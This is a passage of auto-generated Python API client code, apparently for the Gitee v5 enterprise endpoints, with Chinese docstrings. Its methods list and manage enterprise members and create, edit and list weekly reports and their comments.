"""列出企业的所有成员 # noqa: E501
列出企业的所有成员 # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_v5_enterprises_enterprise_members(enterprise, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str enterprise: 企业的路径(path/login) (required)
:param str access_token: 用户授权码
:param str role: 根据角色筛选成员
:return: list[EnterpriseMember]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_v5_enterprises_enterprise_members_with_http_info(enterprise, **kwargs) # noqa: E501
else:
(data) = self.get_v5_enterprises_enterprise_members_with_http_info(enterprise, **kwargs) # noqa: E501
return data
def get_v5_enterprises_enterprise_members_with_http_info(self, enterprise, **kwargs): # noqa: E501
"""列出企业的所有成员 # noqa: E501
列出企业的所有成员 # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_v5_enterprises_enterprise_members_with_http_info(enterprise, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str enterprise: 企业的路径(path/login) (required)
:param str access_token: 用户授权码
:param str role: 根据角色筛选成员
:return: list[EnterpriseMember]
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['enterprise', 'access_token', 'role'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_v5_enterprises_enterprise_members" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'enterprise' is set
if ('enterprise' not in params or
params['enterprise'] is None):
raise ValueError(
"Missing the required parameter `enterprise` when calling `get_v5_enterprises_enterprise_members`") # noqa: E501
collection_formats = {}
path_params = {}
if 'enterprise' in params:
path_params['enterprise'] = params['enterprise'] # noqa: E501
query_params = []
if 'access_token' in params:
query_params.append(('access_token', params['access_token'])) # noqa: E501
if 'role' in params:
query_params.append(('role', params['role'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/v5/enterprises/{enterprise}/members', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[EnterpriseMember]', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_v5_enterprises_enterprise_members_username(self, enterprise, username, **kwargs): # noqa: E501
"""获取企业的一个成员 # noqa: E501
获取企业的一个成员 # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_v5_enterprises_enterprise_members_username(enterprise, username, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str enterprise: 企业的路径(path/login) (required)
:param str username: 用户名(username/login) (required)
:param str access_token: 用户授权码
:return: EnterpriseMember
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_v5_enterprises_enterprise_members_username_with_http_info(enterprise, username,
**kwargs) # noqa: E501
else:
(data) = self.get_v5_enterprises_enterprise_members_username_with_http_info(enterprise, username,
**kwargs) # noqa: E501
return data
def get_v5_enterprises_enterprise_members_username_with_http_info(self, enterprise, username,
**kwargs): # noqa: E501
"""获取企业的一个成员 # noqa: E501
获取企业的一个成员 # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_v5_enterprises_enterprise_members_username_with_http_info(enterprise, username, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str enterprise: 企业的路径(path/login) (required)
:param str username: 用户名(username/login) (required)
:param str access_token: 用户授权码
:return: EnterpriseMember
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['enterprise', 'username', 'access_token'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_v5_enterprises_enterprise_members_username" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'enterprise' is set
if ('enterprise' not in params or
params['enterprise'] is None):
raise ValueError(
"Missing the required parameter `enterprise` when calling `get_v5_enterprises_enterprise_members_username`") # noqa: E501
# verify the required parameter 'username' is set
if ('username' not in params or
params['username'] is None):
raise ValueError(
"Missing the required parameter `username` when calling `get_v5_enterprises_enterprise_members_username`") # noqa: E501
collection_formats = {}
path_params = {}
if 'enterprise' in params:
path_params['enterprise'] = params['enterprise'] # noqa: E501
if 'username' in params:
path_params['username'] = params['username'] # noqa: E501
query_params = []
if 'access_token' in params:
query_params.append(('access_token', params['access_token'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/v5/enterprises/{enterprise}/members/{username}', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='EnterpriseMember', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_v5_enterprises_enterprise_users_username_week_reports(self, enterprise, username, **kwargs): # noqa: E501
"""个人周报列表 # noqa: E501
个人周报列表 # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_v5_enterprises_enterprise_users_username_week_reports(enterprise, username, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str enterprise: 企业的路径(path/login) (required)
:param str username: 用户名(username/login) (required)
:param str access_token: 用户授权码
:param int page: 当前的页码
:param int per_page: 每页的数量,最大为 100
:return: list[WeekReport]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_v5_enterprises_enterprise_users_username_week_reports_with_http_info(enterprise, username,
**kwargs) # noqa: E501
else:
(data) = self.get_v5_enterprises_enterprise_users_username_week_reports_with_http_info(enterprise, username,
**kwargs) # noqa: E501
return data
def get_v5_enterprises_enterprise_users_username_week_reports_with_http_info(self, enterprise, username,
**kwargs): # noqa: E501
"""个人周报列表 # noqa: E501
个人周报列表 # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_v5_enterprises_enterprise_users_username_week_reports_with_http_info(enterprise, username, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str enterprise: 企业的路径(path/login) (required)
:param str username: 用户名(username/login) (required)
:param str access_token: 用户授权码
:param int page: 当前的页码
:param int per_page: 每页的数量,最大为 100
:return: list[WeekReport]
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['enterprise', 'username', 'access_token', 'page', 'per_page'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_v5_enterprises_enterprise_users_username_week_reports" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'enterprise' is set
if ('enterprise' not in params or
params['enterprise'] is None):
raise ValueError(
"Missing the required parameter `enterprise` when calling `get_v5_enterprises_enterprise_users_username_week_reports`") # noqa: E501
# verify the required parameter 'username' is set
if ('username' not in params or
params['username'] is None):
raise ValueError(
"Missing the required parameter `username` when calling `get_v5_enterprises_enterprise_users_username_week_reports`") # noqa: E501
collection_formats = {}
path_params = {}
if 'enterprise' in params:
path_params['enterprise'] = params['enterprise'] # noqa: E501
if 'username' in params:
path_params['username'] = params['username'] # noqa: E501
query_params = []
if 'access_token' in params:
query_params.append(('access_token', params['access_token'])) # noqa: E501
if 'page' in params:
query_params.append(('page', params['page'])) # noqa: E501
if 'per_page' in params:
query_params.append(('per_page', params['per_page'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/v5/enterprises/{enterprise}/users/{username}/week_reports', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[WeekReport]', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_v5_enterprises_enterprise_week_reports(self, enterprise, **kwargs): # noqa: E501
"""企业成员周报列表 # noqa: E501
企业成员周报列表 # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_v5_enterprises_enterprise_week_reports(enterprise, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str enterprise: 企业的路径(path/login) (required)
:param str access_token: 用户授权码
:param int page: 当前的页码
:param int per_page: 每页的数量,最大为 100
:param str username: 用户名(username/login)
:param int year: 周报所属年
:param int week_index: 周报所属周
:param str _date: 周报日期(格式:2019-03-25)
:return: list[WeekReport]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_v5_enterprises_enterprise_week_reports_with_http_info(enterprise, **kwargs) # noqa: E501
else:
(data) = self.get_v5_enterprises_enterprise_week_reports_with_http_info(enterprise, **kwargs) # noqa: E501
return data
def get_v5_enterprises_enterprise_week_reports_with_http_info(self, enterprise, **kwargs): # noqa: E501
"""企业成员周报列表 # noqa: E501
企业成员周报列表 # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_v5_enterprises_enterprise_week_reports_with_http_info(enterprise, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str enterprise: 企业的路径(path/login) (required)
:param str access_token: 用户授权码
:param int page: 当前的页码
:param int per_page: 每页的数量,最大为 100
:param str username: 用户名(username/login)
:param int year: 周报所属年
:param int week_index: 周报所属周
:param str _date: 周报日期(格式:2019-03-25)
:return: list[WeekReport]
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['enterprise', 'access_token', 'page', 'per_page', 'username', 'year', 'week_index',
'_date'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_v5_enterprises_enterprise_week_reports" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'enterprise' is set
if ('enterprise' not in params or
params['enterprise'] is None):
raise ValueError(
"Missing the required parameter `enterprise` when calling `get_v5_enterprises_enterprise_week_reports`") # noqa: E501
collection_formats = {}
path_params = {}
if 'enterprise' in params:
path_params['enterprise'] = params['enterprise'] # noqa: E501
query_params = []
if 'access_token' in params:
query_params.append(('access_token', params['access_token'])) # noqa: E501
if 'page' in params:
query_params.append(('page', params['page'])) # noqa: E501
if 'per_page' in params:
query_params.append(('per_page', params['per_page'])) # noqa: E501
if 'username' in params:
query_params.append(('username', params['username'])) # noqa: E501
if 'year' in params:
query_params.append(('year', params['year'])) # noqa: E501
if 'week_index' in params:
query_params.append(('week_index', params['week_index'])) # noqa: E501
if '_date' in params:
query_params.append(('date', params['_date'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/v5/enterprises/{enterprise}/week_reports', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[WeekReport]', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_v5_enterprises_enterprise_week_reports_id(self, enterprise, id, **kwargs): # noqa: E501
"""周报详情 # noqa: E501
周报详情 # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_v5_enterprises_enterprise_week_reports_id(enterprise, id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str enterprise: 企业的路径(path/login) (required)
:param int id: 周报ID (required)
:param str access_token: 用户授权码
:return: WeekReport
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_v5_enterprises_enterprise_week_reports_id_with_http_info(enterprise, id,
**kwargs) # noqa: E501
else:
(data) = self.get_v5_enterprises_enterprise_week_reports_id_with_http_info(enterprise, id,
**kwargs) # noqa: E501
return data
def get_v5_enterprises_enterprise_week_reports_id_with_http_info(self, enterprise, id, **kwargs): # noqa: E501
"""周报详情 # noqa: E501
周报详情 # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_v5_enterprises_enterprise_week_reports_id_with_http_info(enterprise, id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str enterprise: 企业的路径(path/login) (required)
:param int id: 周报ID (required)
:param str access_token: 用户授权码
:return: WeekReport
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['enterprise', 'id', 'access_token'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_v5_enterprises_enterprise_week_reports_id" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'enterprise' is set
if ('enterprise' not in params or
params['enterprise'] is None):
raise ValueError(
"Missing the required parameter `enterprise` when calling `get_v5_enterprises_enterprise_week_reports_id`") # noqa: E501
# verify the required parameter 'id' is set
if ('id' not in params or
params['id'] is None):
raise ValueError(
"Missing the required parameter `id` when calling `get_v5_enterprises_enterprise_week_reports_id`") # noqa: E501
collection_formats = {}
path_params = {}
if 'enterprise' in params:
path_params['enterprise'] = params['enterprise'] # noqa: E501
if 'id' in params:
path_params['id'] = params['id'] # noqa: E501
query_params = []
if 'access_token' in params:
query_params.append(('access_token', params['access_token'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/v5/enterprises/{enterprise}/week_reports/{id}', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='WeekReport', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_v5_enterprises_enterprise_week_reports_id_comments(self, enterprise, id, **kwargs): # noqa: E501
"""某个周报评论列表 # noqa: E501
某个周报评论列表 # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_v5_enterprises_enterprise_week_reports_id_comments(enterprise, id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str enterprise: 企业的路径(path/login) (required)
:param int id: 周报ID (required)
:param str access_token: 用户授权码
:param int page: 当前的页码
:param int per_page: 每页的数量,最大为 100
:return: list[Note]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_v5_enterprises_enterprise_week_reports_id_comments_with_http_info(enterprise, id,
**kwargs) # noqa: E501
else:
(data) = self.get_v5_enterprises_enterprise_week_reports_id_comments_with_http_info(enterprise, id,
**kwargs) # noqa: E501
return data
def get_v5_enterprises_enterprise_week_reports_id_comments_with_http_info(self, enterprise, id,
**kwargs): # noqa: E501
"""某个周报评论列表 # noqa: E501
某个周报评论列表 # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_v5_enterprises_enterprise_week_reports_id_comments_with_http_info(enterprise, id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str enterprise: 企业的路径(path/login) (required)
:param int id: 周报ID (required)
:param str access_token: 用户授权码
:param int page: 当前的页码
:param int per_page: 每页的数量,最大为 100
:return: list[Note]
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['enterprise', 'id', 'access_token', 'page', 'per_page'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_v5_enterprises_enterprise_week_reports_id_comments" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'enterprise' is set
if ('enterprise' not in params or
params['enterprise'] is None):
raise ValueError(
"Missing the required parameter `enterprise` when calling `get_v5_enterprises_enterprise_week_reports_id_comments`") # noqa: E501
# verify the required parameter 'id' is set
if ('id' not in params or
params['id'] is None):
raise ValueError(
"Missing the required parameter `id` when calling `get_v5_enterprises_enterprise_week_reports_id_comments`") # noqa: E501
collection_formats = {}
path_params = {}
if 'enterprise' in params:
path_params['enterprise'] = params['enterprise'] # noqa: E501
if 'id' in params:
path_params['id'] = params['id'] # noqa: E501
query_params = []
if 'access_token' in params:
query_params.append(('access_token', params['access_token'])) # noqa: E501
if 'page' in params:
query_params.append(('page', params['page'])) # noqa: E501
if 'per_page' in params:
query_params.append(('per_page', params['per_page'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/v5/enterprises/{enterprise}/week_reports/{id}/comments', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[Note]', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_v5_user_enterprises(self, **kwargs): # noqa: E501
"""列出授权用户所属的企业 # noqa: E501
列出授权用户所属的企业 # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_v5_user_enterprises(async_req=True)
>>> result = thread.get()
:param async_req bool
:param str access_token: 用户授权码
:param int page: 当前的页码
:param int per_page: 每页的数量,最大为 100
:param bool admin: 只列出授权用户管理的企业
:return: list[EnterpriseBasic]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_v5_user_enterprises_with_http_info(**kwargs) # noqa: E501
else:
(data) = self.get_v5_user_enterprises_with_http_info(**kwargs) # noqa: E501
return data
def get_v5_user_enterprises_with_http_info(self, **kwargs): # noqa: E501
"""列出授权用户所属的企业 # noqa: E501
列出授权用户所属的企业 # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_v5_user_enterprises_with_http_info(async_req=True)
>>> result = thread.get()
:param async_req bool
:param str access_token: 用户授权码
:param int page: 当前的页码
:param int per_page: 每页的数量,最大为 100
:param bool admin: 只列出授权用户管理的企业
:return: list[EnterpriseBasic]
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['access_token', 'page', 'per_page', 'admin'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_v5_user_enterprises" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
if 'access_token' in params:
query_params.append(('access_token', params['access_token'])) # noqa: E501
if 'page' in params:
query_params.append(('page', params['page'])) # noqa: E501
if 'per_page' in params:
query_params.append(('per_page', params['per_page'])) # noqa: E501
if 'admin' in params:
query_params.append(('admin', params['admin'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/v5/user/enterprises', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[EnterpriseBasic]', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def patch_v5_enterprises_enterprise_week_report_id(self, access_token, content, enterprise, id,
**kwargs): # noqa: E501
"""编辑周报 # noqa: E501
编辑周报 # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.patch_v5_enterprises_enterprise_week_report_id(access_token, content, enterprise, id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str access_token: (required)
:param str content: (required)
:param str enterprise: 企业的路径(path/login) (required)
:param int id: 周报ID (required)
:return: WeekReport
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.patch_v5_enterprises_enterprise_week_report_id_with_http_info(access_token, content, enterprise,
id, **kwargs) # noqa: E501
else:
(data) = self.patch_v5_enterprises_enterprise_week_report_id_with_http_info(access_token, content,
enterprise, id,
**kwargs) # noqa: E501
return data
def patch_v5_enterprises_enterprise_week_report_id_with_http_info(self, access_token, content, enterprise, id,
**kwargs): # noqa: E501
"""编辑周报 # noqa: E501
编辑周报 # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.patch_v5_enterprises_enterprise_week_report_id_with_http_info(access_token, content, enterprise, id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str access_token: (required)
:param str content: (required)
:param str enterprise: 企业的路径(path/login) (required)
:param int id: 周报ID (required)
:return: WeekReport
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['access_token', 'content', 'enterprise', 'id'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method patch_v5_enterprises_enterprise_week_report_id" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'access_token' is set
if ('access_token' not in params or
params['access_token'] is None):
raise ValueError(
"Missing the required parameter `access_token` when calling `patch_v5_enterprises_enterprise_week_report_id`") # noqa: E501
# verify the required parameter 'content' is set
if ('content' not in params or
params['content'] is None):
raise ValueError(
"Missing the required parameter `content` when calling `patch_v5_enterprises_enterprise_week_report_id`") # noqa: E501
# verify the required parameter 'enterprise' is set
if ('enterprise' not in params or
params['enterprise'] is None):
raise ValueError(
"Missing the required parameter `enterprise` when calling `patch_v5_enterprises_enterprise_week_report_id`") # noqa: E501
# verify the required parameter 'id' is set
if ('id' not in params or
params['id'] is None):
raise ValueError(
"Missing the required parameter `id` when calling `patch_v5_enterprises_enterprise_week_report_id`") # noqa: E501
collection_formats = {}
path_params = {}
if 'enterprise' in params:
path_params['enterprise'] = params['enterprise'] # noqa: E501
if 'id' in params:
path_params['id'] = params['id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
if 'access_token' in params:
form_params.append(('access_token', params['access_token'])) # noqa: E501
if 'content' in params:
form_params.append(('content', params['content'])) # noqa: E501
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['multipart/form-data']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/v5/enterprises/{enterprise}/week_report/{id}', 'PATCH',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='WeekReport', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def post_v5_enterprises_enterprise_members(self, enterprise, **kwargs): # noqa: E501
"""添加或邀请企业成员 # noqa: E501
添加或邀请企业成员 # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.post_v5_enterprises_enterprise_members(enterprise, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str enterprise: 企业的路径(path/login) (required)
:param Body61 body:
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.post_v5_enterprises_enterprise_members_with_http_info(enterprise, **kwargs) # noqa: E501
else:
(data) = self.post_v5_enterprises_enterprise_members_with_http_info(enterprise, **kwargs) # noqa: E501
return data
def post_v5_enterprises_enterprise_members_with_http_info(self, enterprise, **kwargs): # noqa: E501
"""添加或邀请企业成员 # noqa: E501
添加或邀请企业成员 # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.post_v5_enterprises_enterprise_members_with_http_info(enterprise, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str enterprise: 企业的路径(path/login) (required)
:param Body61 body:
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['enterprise', 'body'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method post_v5_enterprises_enterprise_members" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'enterprise' is set
if ('enterprise' not in params or
params['enterprise'] is None):
raise ValueError(
"Missing the required parameter `enterprise` when calling `post_v5_enterprises_enterprise_members`") # noqa: E501
collection_formats = {}
path_params = {}
if 'enterprise' in params:
path_params['enterprise'] = params['enterprise'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'body' in params:
body_params = params['body']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/v5/enterprises/{enterprise}/members', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def post_v5_enterprises_enterprise_week_report(self, body, enterprise, **kwargs): # noqa: E501
"""新建周报 # noqa: E501
新建周报 # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.post_v5_enterprises_enterprise_week_report(body, enterprise, async_req=True)
>>> result = thread.get()
:param async_req bool
:param Body64 body: (required)
:param str enterprise: 企业的路径(path/login) (required)
:return: WeekReport
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.post_v5_enterprises_enterprise_week_report_with_http_info(body, enterprise,
**kwargs) # noqa: E501
else:
(data) = self.post_v5_enterprises_enterprise_week_report_with_http_info(body, enterprise,
**kwargs) # noqa: E501
return data
def post_v5_enterprises_enterprise_week_report_with_http_info(self, body, enterprise, **kwargs): # noqa: E501
"""新建周报 # noqa: E501
新建周报 # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.post_v5_enterprises_enterprise_week_report_with_http_info(body, enterprise, async_req=True)
>>> result = thread.get()
:param async_req bool
:param Body64 body: (required)
:param str enterprise: 企业的路径(path/login) (required)
:return: WeekReport
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['body', 'enterprise'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method post_v5_enterprises_enterprise_week_report" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'body' is set
if ('body' not in params or
params['body'] is None):
raise ValueError(
"Missing the required parameter `body` when calling `post_v5_enterprises_enterprise_week_report`") # noqa: E501
# verify the required parameter 'enterprise' is set
if ('enterprise' not in params or
params['enterprise'] is None):
raise ValueError(
"Missing the required parameter `enterprise` when calling `post_v5_enterprises_enterprise_week_report`") # noqa: E501
collection_formats = {}
path_params = {}
if 'enterprise' in params:
path_params['enterprise'] = params['enterprise'] # noqa: E501
query_params = []
